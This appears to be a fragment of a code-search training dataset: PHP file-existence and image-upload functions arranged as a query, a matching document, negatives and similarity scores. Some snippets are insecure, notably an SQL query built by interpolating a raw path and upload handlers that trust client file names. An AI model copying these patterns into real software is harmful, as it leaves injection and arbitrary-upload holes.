"function _bellcom_check_if_file_in_url_exists($file_url) {\n $file_headers = @get_headers($file_url);\n\n if ($file_headers[0] == 'HTTP/1.1 404 Not Found') {\n return FALSE;\n }\n else {\n return TRUE;\n }\n}",
"public function fileExists($file)\n\t{\n\t\treturn file_exists($file);\n\t}",
"public function exists()\n {\n return $this->adapter->isFile($this->path, true);\n }",
"public static function fileDoesNotExist()\n {\n return self::logicalNot(self::fileExists());\n }",
"function ifExists()\n\t {\n\t\t $file= CTRL.DS.$this->url[0].'.php';\n\t\t \n\t\t\n\t\t if(!file_exists($file))\n\t\t {\n\t\t\t $this->error(\"File does not exist \");\n\t\t\t echo\"<a href='\".DIR.\"index'>Back</a>\";\n\t\t\t exit();\n\t\t\t\n\t\t }\n\t\t\n\t }",
"public function exist($path)\n {\n return file_exists($path);\n }",
"private function checkFileExist(string $file): bool\n {\n return is_file($file);\n }",
"public static function exists($filename)\n {\n return Storage::disk('public')->exists(static::relativePath($filename));\n }",
"public static function exists($path)\n {\n }",
"public function fileExists(string $path): bool\n {\n return Storage::exists($this->filePath . '/' . $path);\n }",
"public function getFileExists()\n {\n return Yii::$app->storage->fileSystemExists($this->filter_id . '_' . $this->file->name_new_compound);\n }",
"public function checkIfFileExists($file_path)\n {\n if (File::exists($file_path)):\n return true;\n else:\n return false;\n endif;\n }",
"private function isExists($path)\r\n {\r\n $file = PATH . DS . str_replace('/', DS, $path);\r\n if(file_exists($file)){\r\n return true;\r\n }\r\n return false;\r\n }",
"public function exist()\n {\n return is_dir($this->location) && file_exists($this->location);\n }",
"public function path_valid() {\n\t\tif (!file_exists($this->path)) return false;\n\t\treturn true;\n\t}",
"public function path_valid() {\n\t\tif (!file_exists($this->path)) return false;\n\t\treturn true;\n\t}",
"public function exists(string $path): bool;",
"public function exists(string $path): bool;",
"public function exists()\n {\n if(isset($_FILES[$this->param_name])){\n return true;\n }\n else{\n return false;\n }\n }",
"public function check_exists(){\n if(!file_exists($this->file['tmp_name']) ){\n $this->file_name = 'sample.jpg';\n }else{\n $this->tmp_file_name = $this->file['tmp_name'];\n $this->file_type = $this->file['type'];\n $this->file_name = time() . '_' . $this->file['name']; //give name a timestamp to ensure no duplicate images made in the future\n }\n }",
"public function fileExists(string $adapter, string $path): bool;",
"function does_url_exist($url) {\n\t$fd = fopen(\"$url\", \"r\");\n\tif ($fd) {\n\t\tfclose($fd);\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n}",
"public function checkPathExists($path);",
"public function esiste($file){\n\t\tif($file[0]!=='/') $file='/'.$file;\n\t\tif(file_exists($_SERVER['DOCUMENT_ROOT'].$file)){\n\t\t\treturn TRUE;\n\t\t}else{\n\t\t\treturn FALSE;\n\t\t}\n\t}",
"public function Exists();",
"function check_file_existance($path)\n{\n //buld the url\n $image_url=$path;\n if (file_exists($image_url) !== false) {\n return true;\n }\n}",
"function remoteFileExists($url) {\n $curl = curl_init($url);\n\n //don't fetch the actual page, you only want to check the connection is ok\n curl_setopt($curl, CURLOPT_NOBODY, true);\n\n //do request\n $result = curl_exec($curl);\n\n $ret = false;\n\n //if request did not fail\n if ($result !== false) {\n //if request was ok, check response code\n $statusCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);\n\n if ($statusCode == 200) {\n $ret = true;\n }\n }\n\n curl_close($curl);\n\n return $ret;\n }",
"public static function isExists($_path)\r\n {\r\n return file_exists($_path);\r\n }",
"public static function fileExists($path)\n\t{\n\t\t// (Heh!)\n\t\t$result = $GLOBALS['DataBase']->query(\"SELECT fileid FROM files WHERE path='$path'\");\n\t\tif ( $result->numRows() == 1 )\n\t\t\treturn true;\n\t\telse return false; // More than one entry shouldn't be allowed, so it cannot reasonably exist!\n\t}",
"function image_exist($file, $path=\"\") {\n\tif ($file)\n\t{\n\t\t$checkfile=($path)?$path . \"/\" . $file:$file;\n\t\tif (file_exists($checkfile)) {\n\t\t\treturn 1;\n\t\t}\n\t}\n\t}",
"function cacheObjectExists ()\n {\n return is_file($this->cacheObjectId);\n }",
"public function checkIsPathExists($path);",
"public function file_exists($filename)\n {\n return @file_exists($filename);\n }",
"private function fileExists()\n {\n return $this->files->exists($this->path) ? new Exception(\"The class exists!\") : false;\n }",
"private function _checkFile( $fileName = false )\r\n\t{\r\n\t\tif( Configure::read() != 0 )\r\n\t\t{\r\n\t\t\t$fileName = str_replace( \"/\", \"\", $fileName );\r\n\t\t\t$fileName = str_replace( \"\\\\\", \"\", $fileName );\r\n\r\n\t\t\tif( file_exists( SERVICE_BROWSER_PATH . $fileName ) )\r\n\t\t\t{\r\n\t\t\t\treturn $fileName;\t\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\t\t\r\n\t}",
"public function exists($path)\n {\n }",
"public function exists($path)\n {\n }",
"public function exists($path)\n {\n }",
"public function exists($path)\n {\n }",
"public function exists($path)\n {\n }",
"public static function fileExists(string $path)\n {\n return self::getDisk()->exists($path);\n }",
"private function checkIfExtFileExists($file){\n\t\t\t$b = @fopen($file, \"r\");\n\t\t\t@fclose($b);\n\t\t\treturn $b==true;\n\t\t}",
"protected function checkIfFileExistes($file)\n\t\t{\n\t\t\tif (file_exists($this->rutaMini.\"/\".$file))\t\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t}",
"private function CheckFileExists( $File )\n {\n $return = file_exists($File);\n\n if( !$return && preg_match(\"/^(https?):\\/\\//i\", $File) )\n {\n $header_response = get_headers($File);\n\n if ( strpos( $header_response[0], \"200\" ) !== false )\n {\n $return = true;\n }\n }\n\n return $return;\n }"
] | [
"0.8181346",
"0.80921793",
"0.7646409",
"0.7619988",
"0.7613789",
"0.7536128",
"0.75294983",
"0.747073",
"0.74588114",
"0.7451352",
"0.7424405",
"0.7397428",
"0.7363075",
"0.7341938",
"0.73298955",
"0.731411",
"0.7299397",
"0.7299153",
"0.7275836",
"0.72563875",
"0.7246981",
"0.7221049",
"0.7220299",
"0.7217704",
"0.7169891",
"0.71685976",
"0.71612597",
"0.71550065",
"0.7136211",
"0.7122013",
"0.71191126",
"0.7112277",
"0.7090316",
"0.70898604",
"0.7087421",
"0.70699894",
"0.70381063",
"0.7037205",
"0.7027626",
"0.70215625",
"0.69970834",
"0.69714487",
"0.6945857",
"0.69383883",
"0.6917311",
"0.69172716",
"0.6901275",
"0.688776",
"0.6886119",
"0.6881914",
"0.6866684",
"0.68575907",
"0.68527955",
"0.6848145",
"0.6842747",
"0.6841066",
"0.6840484",
"0.6833526",
"0.6832675",
"0.68285483",
"0.68280995",
"0.6822096",
"0.68217456",
"0.68162847",
"0.68068564",
"0.6806632",
"0.6806117",
"0.6803425",
"0.6778088",
"0.6770425",
"0.6762904",
"0.676056",
"0.676056",
"0.6754494",
"0.6754494",
"0.6753805",
"0.6747821",
"0.6743203",
"0.6737406",
"0.6730203",
"0.67239577",
"0.66991454",
"0.66983706",
"0.6687044",
"0.6685875",
"0.66805077",
"0.667825",
"0.66744196",
"0.6672016",
"0.66672784",
"0.6659913",
"0.66577756",
"0.6651502",
"0.6651502",
"0.6651502",
"0.66511005",
"0.6649495",
"0.66272163",
"0.66177434",
"0.6610288",
"0.66071874"
] | 0.0 | -1 |
Uploads an image and | public function uploadAndResizeImage($file, $fileName, $fileExtension = 'png', $path = null, $width = PHP_INT_MAX, $height = PHP_INT_MAX)
{
if(FileComponent::uploadFile($file, $fileName, $fileExtension, true, $path))
{
return FileComponent::resizeAndCopyImage($fileName, $fileExtension, $path, $width, $height);
}
return false;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function upload();",
"public function uploadAction() {\n $imgId = $this->getInput('imgId');\n $this->assign('imgId', $imgId);\n $this->getView()\n ->display('common/upload.phtml');\n }",
"public function uploadAction() {\r\n\t\t$imgId = $this->getInput('imgId');\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}",
"public function uploadAction() {\r\n\t\t$imgId = $this->getInput('imgId');\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"function media_upload_image()\n {\n }",
"public function upload_postAction() {\r\n\t\t$ret = Common::upload('img', 'ad');\r\n\t\t$imgId = $this->getPost('imgId');\r\n\t\t$this->assign('code' , $ret['data']);\r\n\t\t$this->assign('msg' , $ret['msg']);\r\n\t\t$this->assign('data', $ret['data']);\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t//create webp image\r\n\t\tif ($ret['code'] == 0) {\r\n\t\t\t$attachPath = Common::getConfig('siteConfig', 'attachPath');\r\n\t\t\t$file = realpath($attachPath.$ret['data']);\r\n\t\t\timage2webp($file, $file.'.webp');\r\n\t\t}\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n }",
"public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'Recsite');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n }",
"public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'bestj');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"function submitImage($userId){\n $target_dir = \"uploads/$userId/\"; //String interpolation is available this way in PHP, but not suggested\n createDirIfNeeded($target_dir);\n $target_file = $target_dir . basename($_FILES[\"fileToUpload\"][\"name\"]);\n $uploadOk = 1;\n $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));\n // Check if image file is a actual image or fake image\n if(isset($_POST[\"submit\"])) {\n $check = getimagesize($_FILES[\"fileToUpload\"][\"tmp_name\"]);\n if($check !== false) {\n echo \"File is an image - \" . $check[\"mime\"] . \".\";\n $uploadOk = 1;\n } else {\n echo \"File is not an image.\";\n $uploadOk = 0;\n }\n }\n if ($uploadOk == 0) {\n echo \"Sorry, your file was not uploaded.\";\n // if everything is ok, try to upload file\n } else {\n if (move_uploaded_file($_FILES[\"fileToUpload\"][\"tmp_name\"], $target_file)) {\n echo \"The file \". basename( $_FILES[\"fileToUpload\"][\"name\"]). \" has been uploaded.\";\n } else {\n echo \"Sorry, there was an error uploading your file.\";\n }\n }\n }",
"public function uploadImage()\n {\n /* Getting current user's data */\n $user = Auth::getUser();\n\n /* Checking if user is online */\n if ($user) {\n\n /* Checking if image was upload */\n if (is_uploaded_file($_FILES['image']['tmp_name'])) {\n\n /* Creating new Upload's object */\n $upload = new Upload([\n 'subfolder' => 'answers/',\n 'name' => $_FILES['image']['name'],\n 'type' => $_FILES['image']['type'],\n 'tmp_name' => $_FILES['image']['tmp_name'],\n 'error' => $_FILES['image']['error'],\n 'size' => $_FILES['image']['size'],\n ]);\n\n /* Setting new random title for image */\n $upload->name = $upload->getRandomFilename(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));\n\n /* Uploading image */\n if ($upload->upload()) {\n\n /* Return response */\n header('Content-Type: application/json');\n echo json_encode('/media/images/answers/'.$upload->name);\n }\n }\n }\n\n return false;\n }",
"public function upload()\n {\n if(!Csrf::checkToken($this->_request->getInput('_CSRF')))\n {\n $response = [\n 'status' => 'error',\n 'message' => 'csrf'\n ];\n return $this->_response->returnJson($response);\n }\n\n $file = $this->_request->getUploadedFile('img');\n $uploader = new ImageUpload(new Imagick($file['tmp_name']));\n $uploadResult = $uploader->upload($file);\n\n return $this->_response->returnJson($uploadResult);\n }",
"function m_uploadImage()\n\t{\n\t\t$fileUpload = new FileUpload();\n\t\t$name=$this->request['img'];\n\t\tif($this->libFunc->checkImageUpload(\"image\"))\n\t\t{\n\t\t\t\t$fileUpload->source = $_FILES[\"image\"][\"tmp_name\"];\n\t\t\t\t$fileUpload->target = $this->imagePath.\"giftwrap/\".$_FILES[\"image\"][\"name\"];\n\t\t\t\t$newName1 = $fileUpload->upload();\n\t\t\t\t$this->obDb->query=\"UPDATE \".GIFTWRAPS.\" set\n\t\t\t\t $name='$newName1' where iGiftwrapid_PK='\".$this->request['id'].\"'\";\n\t\t\t\t$this->obDb->updateQuery();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->libFunc->m_mosRedirect(SITE_URL.\"sales/adminindex.php?action=promotions.giftwrap.uploadForm&msg=2&img=\".$this->request['img'].\"&id=\".$this->request['id']);\n\t\t}\n\t\t$this->libFunc->m_mosRedirect(SITE_URL.\"sales/adminindex.php?action=promotions.giftwrap.uploadForm&msg=1&img=\".$this->request['img'].\"&id=\".$this->request['id']);\n\t}",
"public function photoupload()\n\t{\n\t\ttry {\n\t\t\t\n\t\t\t$uploader = new fUpload();\n\t\t\t$uploader->setMIMETypes(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'image/gif',\n\t\t\t\t\t\t\t'image/jpeg',\n\t\t\t\t\t\t\t'image/pjpeg',\n\t\t\t\t\t\t\t'image/png'\n\t\t\t\t\t),\n\t\t\t\t\ts('upload_no_image')\n\t\t\t);\n\t\t\t$uploader->setMaxSize('5MB');\n\t\t\t\n\t\t\tif(($error = $uploader->validate('photo', TRUE)) !== null)\n\t\t\t{\n\t\t\t\t$func = 'parent.join.photoUploadError(\\''.$error.'\\');';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// move the uploaded file in a temp folder\n\t\t\t\t$image = $uploader->move(ROOT_DIR . 'tmp/', 'photo');\n\t\t\t\t\t\n\t\t\t\t// generate an unique name for the photo\n\t\t\t\t$name = uniqid() . '.' . strtolower($image->getExtension());\n\t\t\t\t\t\n\t\t\t\t$image->rename($name, true);\n\t\t\t\t\n\t\t\t\t$image = new fImage(ROOT_DIR . 'tmp/' . $name);\n\t\t\t\t\t\n\t\t\t\t$image->resize(800, 0);\n\t\t\t\t$image->saveChanges();\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t$func = 'parent.join.readyUpload(\\''.$name.'\\');';\n\t\t\t}\n\t\t\t\n\t\t} catch (Exception $e) {\n\t\t\t$func = 'parent.join.photoUploadError(\\''.s('error_image').'\\');';\n\t\t}\n\t\t\n\t\techo '<html>\n<head><title>Upload</title></head><body onload=\"'.$func.'\"></body>\n</html>';\n\t\texit();\n\t}",
"public function upload_foto_file()\n\t{\n\t\tif (!$this->is_allowed('m_ads_add', false)) {\n\t\t\techo json_encode([\n\t\t\t\t'success' => false,\n\t\t\t\t'message' => cclang('sorry_you_do_not_have_permission_to_access')\n\t\t\t\t]);\n\t\t\texit;\n\t\t}\n\n\t\t$uuid = $this->input->post('qquuid');\n\n\t\techo $this->upload_file([\n\t\t\t'uuid' \t\t \t=> $uuid,\n\t\t\t'table_name' \t=> 'm_ads',\n\t\t]);\n\t}",
"public function Uploadpicture()\r\n\t\t{\r\n\t\t}",
"public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'qualification');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->assign('code', $ret['data']);\n\t\t$this->assign('msg', $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'ad');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n }",
"public function add_image_post() {\n $itemId = $this->input->post('item_id');\n $uploadResult= $this->upload();\n if ($uploadResult['upload'] === 'ok') {\n $fileData = $uploadResult['fileData'];\n $updatePayload = array(\n 'photo' => $fileData['file_name']\n );\n $res = $this->model->update($itemId, $updatePayload);\n return $this->response(\n array(\n \"status\" => \"ok\",\n \"result\" => $res\n ),\n parent::HTTP_ACCEPTED\n );\n\n }else{\n return $this->response(\n array( 'status' => 'UPLOADING FAILED', \n 'code' => '200', \n 'message' => $uploadResult['err']), \n parent::HTTP_BAD_GATEWAY );\n }\n }",
"public function upload()\n {\n if (null === $this->getImg()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getImg()->move(\n self::SERVER_PATH_TO_PRESS_IMAGE_FOLDER,\n $this->getImg()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->imageUrl = $this->getImg()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setImg(null);\n }",
"public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'gou_brand');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'Goods');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n }",
"public function uploadImage()\r\n {\r\n /*\r\n * Response codes\r\n * 000 - Нет ошибок\r\n * 001 - Нет данных\r\n * 002 - Ошибка получения параметров файла\r\n * 003 - Ошибка получения пути файла\r\n * 004 - Ошибка перемещения файла\r\n * 005 - Требования не соблюдены\r\n * 006 - Нет папки салона\r\n */\r\n if (isset($_POST) &&\r\n isset($_FILES) &&\r\n array_key_exists('upload', $_FILES) &&\r\n count($_FILES['upload']) > 0 &&\r\n array_key_exists('slug', $_POST) &&\r\n array_key_exists('img_name', $_POST) &&\r\n array_key_exists('type', $_POST)\r\n ) {\r\n $type = $_POST['type'];\r\n if ($this->authentication->has_permission($type . '_upload')) {\r\n $img_name = $_POST['img_name'];\r\n $tmpFilePath = $_FILES['upload']['tmp_name'][0];\r\n $tmpFileType = $_FILES['upload']['type'][0];\r\n $tmpFileExtension = pathinfo($_FILES['upload']['name'][0], PATHINFO_EXTENSION);\r\n $tmpFileSize = $_FILES['upload']['size'][0];\r\n $tmpImageInfo = getimagesize($_FILES['upload']['tmp_name'][0]);\r\n if (array_key_exists('img_slug', $_POST)) {\r\n $fileParams = $this->FieldsModel->getFile($_POST['img_slug'], $_POST['img_slug']);\r\n } else {\r\n $fileParams = $this->FieldsModel->getFile($type, $img_name);\r\n }\r\n if ($fileParams) {\r\n if (\r\n $tmpFileType != $fileParams['mime'] ||\r\n $tmpImageInfo['mime'] != $fileParams['mime'] ||\r\n $tmpFileExtension != $fileParams['ext'] ||\r\n $tmpFileSize > $fileParams['max_size'] ||\r\n $tmpImageInfo[0] > $fileParams['max_width'] ||\r\n $tmpImageInfo[0] < $fileParams['min_width'] ||\r\n $tmpImageInfo[1] > $fileParams['max_height'] ||\r\n $tmpImageInfo[1] < $fileParams['min_height']\r\n ) {\r\n if ($tmpFileExtension === 'svg') {\r\n //Do nothing\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не удовлетворяет требованиям.', 'code' => '005', 'fileparams' => $fileParams));\r\n return;\r\n }\r\n }\r\n // Make sure we have a file path\r\n if ($tmpFilePath != '') {\r\n // Setup new file path\r\n if (!file_exists('./media/' . $_POST['type'] . '/' . $_POST['slug'] . '/')) {\r\n mkdir('./media/' . $_POST['type'] . '/' . $_POST['slug']);\r\n //echo json_encode(array('status' => 'fail', 'message' => 'Салон не сконфигурирован. Обратитесь к поставщику услуг.', 'code' => '006'));\r\n //return;\r\n }\r\n $newFilePath = './media/' . $_POST['type'] . '/' . $_POST['slug'] . '/' . $_POST['img_name'] . '.' . $tmpFileExtension;\r\n // Upload the file into the temp dir\r\n if (move_uploaded_file($tmpFilePath, $newFilePath)) {\r\n // Create path to update image in frontend\r\n $path = base_url() . 'media/' . $_POST['type'] . '/' . $_POST['slug'] . '/' . $_POST['img_name'] . '.' . $tmpFileExtension;\r\n echo json_encode(array('status' => 'ok', 'message' => 'Изображение загружено.', 'code' => '000', 'path' => $path));\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '004'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '003'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '002'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, у вас нет прав!', 'code' => '999'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '001'));\r\n }\r\n }",
"public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n Image::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->path\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }",
"public function uploadAction()\n {\n $logedUser = $this->getServiceLocator()\n ->get('user')\n ->getUserSession();\n $permission = $this->getServiceLocator()\n ->get('permissions')\n ->havePermission($logedUser[\"idUser\"], $logedUser[\"idWebsite\"], $this->moduleId);\n if ($this->getServiceLocator()\n ->get('user')\n ->checkPermission($permission, \"edit\")) {\n $request = $this->getRequest();\n if ($request->isPost()) {\n // Get Message Service\n $message = $this->getServiceLocator()->get('systemMessages');\n \n $files = $request->getFiles()->toArray();\n $temp = explode(\".\", $files[\"file\"][\"name\"]);\n $newName = round(microtime(true));\n $newfilename = $newName . '.' . end($temp);\n $image = new Image();\n $image->exchangeArray(array(\n \"website_id\" => $logedUser[\"idWebsite\"],\n \"name\" => $newName,\n \"extension\" => end($temp)\n ));\n if ($image->validation()) {\n if (move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], \"public/files_database/\" . $logedUser[\"idWebsite\"] . \"/\" . $newfilename)) {\n $result = $this->getImageTable()->saveImage($image);\n $message->setCode($result);\n // Log\n $this->getServiceLocator()\n ->get('systemLog')\n ->addLog(0, $message->getMessage(), $message->getLogPriority());\n die('uploadSucess');\n } else {\n die('uploadError');\n }\n } else {\n die('Invalid extension');\n }\n }\n die(\"forbiden\");\n } else {\n die(\"forbiden - without permission\");\n }\n }",
"public function upload()\n\t{\n\t}",
"public function upload(UploadableInterface $image);",
"public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'fanfan_topic');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadImage()\n {\n if (null === $this->fileimage) {\n return;\n }\n\n $upload = new Upload();\n $this->image = $upload->createName(\n $this->fileimage->getClientOriginalName(),\n $this->getUploadRootDir().'/',\n array('tmp/','miniature/')\n );\n\n $imagine = new Imagine();\n\n /* Tmp */\n $size = new Box(1920,1080);\n $imagine->open($this->fileimage)\n ->thumbnail($size, 'inset')\n ->save($this->getUploadRootDir().'tmp/'.$this->image);\n\n /* Miniature */\n $size = new Box(300,300);\n $imagine->open($this->fileimage)\n ->thumbnail($size, 'outbound')\n ->save($this->getUploadRootDir().'miniature/'.$this->image);\n\n }",
"public function upload()\n {\n if (null === $this->image) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the target filename to move to\n $this->file->move($this->getUploadRootDir(), $this->image->getClientOriginalName());\n\n // set the path property to the filename where you'ved saved the file\n $this->path = $this->image->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload_image($file, $savePath, $partternPath)\n\t{\n\t\t$this->_upload();\t\n\t}",
"public function actionUpload()\n {\n if (isset($_GET['department_id_from_url'])) {\n $filename = $_FILES['file']['name'];\n /* Location */\n $location = \"C:/OpenServer/domains/localhost/application/photo/\".$_GET['department_id_from_url'].\"/\" . $filename;\n $uploadOk = 1;\n $imageFileType = pathinfo($location, PATHINFO_EXTENSION);\n /* Valid Extensions */\n $valid_extensions = array(\"jpg\", \"jpeg\", \"png\");\n /* Check file extension */\n if (!in_array(strtolower($imageFileType), $valid_extensions)) {\n $uploadOk = 0;\n echo 0;\n }\n if ($uploadOk == 0) {\n echo 0;\n } else {\n /* Upload file */\n if (move_uploaded_file($_FILES['file']['tmp_name'], $location)) {\n echo $filename;\n } else {\n echo 0;\n }\n }\n }\n }",
"public function uploadImage() \n {\n if (is_null($this->image)) {\n return;\n }\n \n // move image from temp directory to destination one\n $this->image->move(\n $this->getUploadRootDir(),\n $this->image->getClientOriginalName()\n );\n\n $this->path = $this->image->getClientOriginalName();\n $this->image = null;\n }",
"abstract protected function doUpload();",
"public function upload()\n\t{\n\t if (null === $this->getFile()) {\n\t return;\n\t }\n\t\n\t // use the original file name here but you should\n\t // sanitize it at least to avoid any security issues\n\t\n\t // move takes the target directory and then the\n\t // target filename to move to\n\t \n\t $this->getFile()->move($this->getWebPath(),$this->imagen);\n\t \n\t \n\t // set the path property to the filename where you've saved the file\n\t $this->path = $this->getFile()->getClientOriginalName();\n\t\t//$this->temp = \n\t // clean up the file property as you won't need it anymore\n\t $this->file = null;\n\t}",
"public function uploadimage()\n\t{\n\t\t$user = User::find($_POST['user_id']);\n\n\t\t$userprofile = Input::file( 'user_profile_image' );\n\n\t\tif( !empty( $userprofile ) )\n\t\t{\n\t\t\t$file_in = $userprofile->getRealPath();\n\n\t\t\t$file_out = 'profile/' . $_POST['user_id'] . \"-\" . str_random( 12 ) . \".jpg\";\n\n\t\t\t$img = Image::make( $file_in );\n\n\t\t\t$img->resize( 200, 200 );\n\n\t\t\t$img->save( Config::get('app.home') . '/public/' . $file_out, 80 );\n\n\t\t\t$handle = fopen( Config::get('app.home') . '/public/' . $file_out, \"r\" );\n\n\t\t\tFlysystem::connection( 'awss3' )->put( $file_out,\n\t\t\t\t\t\t\t\t\t\t\t\t fread( $handle,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t filesize( Config::get('app.home') . '/public/' . $file_out ) ) );\n\n\t\t\t$user->user_profile_image = $file_out;\n\t\t}\n\n\t\t$usercoverprofile = Input::file( 'user_cover_image' );\n\n\t\tif( !empty( $usercoverprofile ) )\n\t\t{\n\t\t\t$file_in = $usercoverprofile->getRealPath();\n\t\t\t$file_out = 'profile/' . $_POST['user_id'] . \"-\" . str_random( 12 ) . \".jpg\";\n\n\t\t\t$img = Image::make( $file_in );\n\n\t\t\t$img->resize( 200, 200 );\n\n\t\t\t$img->save( Config::get('app.home') . '/public/' . $file_out, 80 );\n\n\t\t\t$handle = fopen( Config::get('app.home') . '/public/' . $file_out, \"r\" );\n\n\t\t\tFlysystem::connection( 'awss3' )->put( $file_out,\n\t\t\t\t\t\t\t\t\t\t\t\t fread( $handle,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t filesize( Config::get('app.home') . '/public/' . $file_out ) ) );\n\n\t\t\t$user->user_cover_image = $file_out;\n\t\t}\n\t\t$user->save();\n\t\theader(\"Location:http://\".Config::get('app.url_admin').\"/user/\".$_POST['user_id']);\n\t\texit();\n\t\t/*end of code for upload user profile and cover image*/\n\t}",
